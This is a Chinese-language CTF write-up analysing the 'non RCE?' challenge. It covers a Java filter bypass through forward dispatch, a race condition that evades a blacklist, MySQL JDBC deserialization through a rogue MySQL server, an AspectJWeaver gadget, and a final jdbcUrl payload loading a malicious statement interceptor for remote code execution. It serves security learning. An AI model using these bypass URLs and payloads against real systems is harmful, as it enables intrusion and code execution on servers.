non-rce学习与分析
这是AntCTF x D^3CTF比赛,蚂蚁安全非攻实验室出题目 [non RCE?]
赛题源码https://github.com/Ant-FG-Lab/non_RCE
学习与分析
检查源码发现可以从AntiUrlAttackFilter、LoginFilter、AdminServlet这三个文件入手
password绕过
要进入/admin/*页面,一定要有password参数,LoginFilter对password参数进行验证。由下图可知password是未知的,并不是本地源码的空字符串,所以需要绕过。
AntiUrlAttackFilter.java这个文件是对/*进行过滤,恰好有forward操作
request.getRequestDispatcher(filteredUrl).forward(request.response)这个语句意思是将客户端的请求转向(forward)到getRequestDispatcher()方法中参数定义的页面或者链接。
为什么forward之后就不会过滤呢?因为这里在@WebFilter装饰器的参数中有个叫dispatcherTypes的参数,默认存在DispatcherType.REQUEST参数,而他还有DispatcherType.FORWARD、DispatcherType.INCLUDE、DispatcherType.ASYNC、DispatcherType.ERROR这4个参数,如果设置了dispatcherTypes所对应的参数,则会进行filter过滤,反之没有设置则不会再被filter进行过滤
因为此次为默认,只会过滤REQUEST请求,不会过滤FORWARD,则造成了绕过
如果设置为如下方式,则仍会进行过滤
1 |
因此http://localhost:8080/;admin/importData?password=123或http://localhost:8080/admin.//importData?password=123都可以进行绕过。
条件竞争
看一下AdminServlet,.java文件,发现进入/admin/importData页面要有databaseType和jdbcUrl参数,首先这两个值不能为空,然后会对jdbcUrl进行黑名单检查,检查通过后,当databaseType值为mysql时,会进行数据库连接。这个时候猜测可以使用MySQL JDBC反序列化。
发现黑名单禁止jdbcUrl包含%, autoDeserialize这两个字符串,autoDeserialize就不解释了,%是防止对autoDeserialize进行编码传参
此时需要绕过
看了一下BlackListChecker.java类的逻辑,发现BlackList使用的单例工厂模式,即只有一个实例
再看check(String s)函数操作,取出实例后将传入的字符串放入setToBeChecked(String s)函数中,因为只有一个实例,所以每次请求都会刷新this.toBeChecked的值,意味着只要在被拦截的poc执行doCheck()之前将不被拦截的poc放入setToBeChecked(String s)中重新对this.toBeChecked赋值,则可绕过。
其实代码中public volatile String toBeChecked;将toBeChecked变量设为volatile也很明显的表示此处可以使用条件竞争,同时也增大了成功的机会,毕竟volatile用于标记一个变量“应当存储在主存”。更确切地说,每次写入一个volatile变量,应该写到主存中,而不是仅仅写到CPU缓存;每次读取volatile变量,都应该从主存读取,而不是从CPU缓存读取。
MySQL JDBC反序列化
这部分之前分析过,MySQL JDBC反序列化
AspectJWeaver反序列化Gadget构造
AspectJWeaver反序列化之前也介绍过
目标文件没有commons-collections依赖,所以需要重新构造gadget。
项目中存在DataMap.java文件,里面的方法比较全,可以使用DataMap类替代commons-collections中的类。
关键代码如下:
1 | HashMap wrapperMap = new HashMap(); |
测试一下:
修改完代码后将ysoserial打成jar包,修改MySQL_Fake_Server的配置
- 修改
ysoserial jar包的位置 - 增加
"AspectJWeaver1":["AspectJWeaver1","aaa.txt;YWhpaGloaQ=="]
命令行测试
向本地写入文件
1 | import requests |
启动MySQL_Fake_Server的server.py后启动py脚本,写入成功
RCE
写入文件之后怎么执行是一个问题。
首先说一下,通过代码运行的话,我是测试成功了,因为要写的路径清楚而去也能写进去;但直接运行jar包的话,是写不进去class的
这里有两种方法:
- 反序列化执行命令
interceptor加载
反序列化执行命令先通过AspectJWeaver向服务器上写入恶意的类,该类中重新实现一个readObject方法,再通过MySQL的反序列化加载该类,执行readObject实现RCE。
但是本地测试的时候class文件可以写入,但是第二次执行MySQL反序列化漏洞时服务端报找不到写入的类文件。
注意,当使用jar包运行时,是无法通过上述流程写进一个class文件并执行的(java-agent应该是可以的)
第二种方法测试成功。
首先编写antInterceptor类
1 | package servlet; |
然后编译成class文件后转成base64
转换脚本为
1 | import base64 |
转换后修改ysoserial文件
然后发送数据,这里注意,base64中有特殊字符,需要进行URL编码,我这里使用脚本发的数据,所以转换一次就行,在浏览器上发数据需要转换两次
1 | + |
写入文件成功
此时只需要将jdbcUrl修改成jdbc:mysql://127.0.0.1:3309/mysql?autoDeserialize=true&statementInterceptors=servlet.antInterceptor,直接发送就能rce
总结
通过这道题学习、复习了很多,感叹于师傅们的思路与操作。更加觉得实践出真知。
本文用到的文件:https://github.com/altEr1125/altEr1125.github.io/tree/master/file/non-rce%E5%AD%A6%E4%B9%A0%E4%B8%8E%E5%88%86%E6%9E%90
Reference
https://meizjm3i.github.io/2021/03/07/Servlet%E4%B8%AD%E7%9A%84%E6%97%B6%E9%97%B4%E7%AB%9E%E4%BA%89%E4%BB%A5%E5%8F%8AAsjpectJWeaver%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget%E6%9E%84%E9%80%A0-AntCTFxD-3CTF-non-RCE%E9%A2%98%E8%A7%A3/
https://www.cnblogs.com/sijidou/p/14631154.html
https://www.anquanke.com/post/id/256974
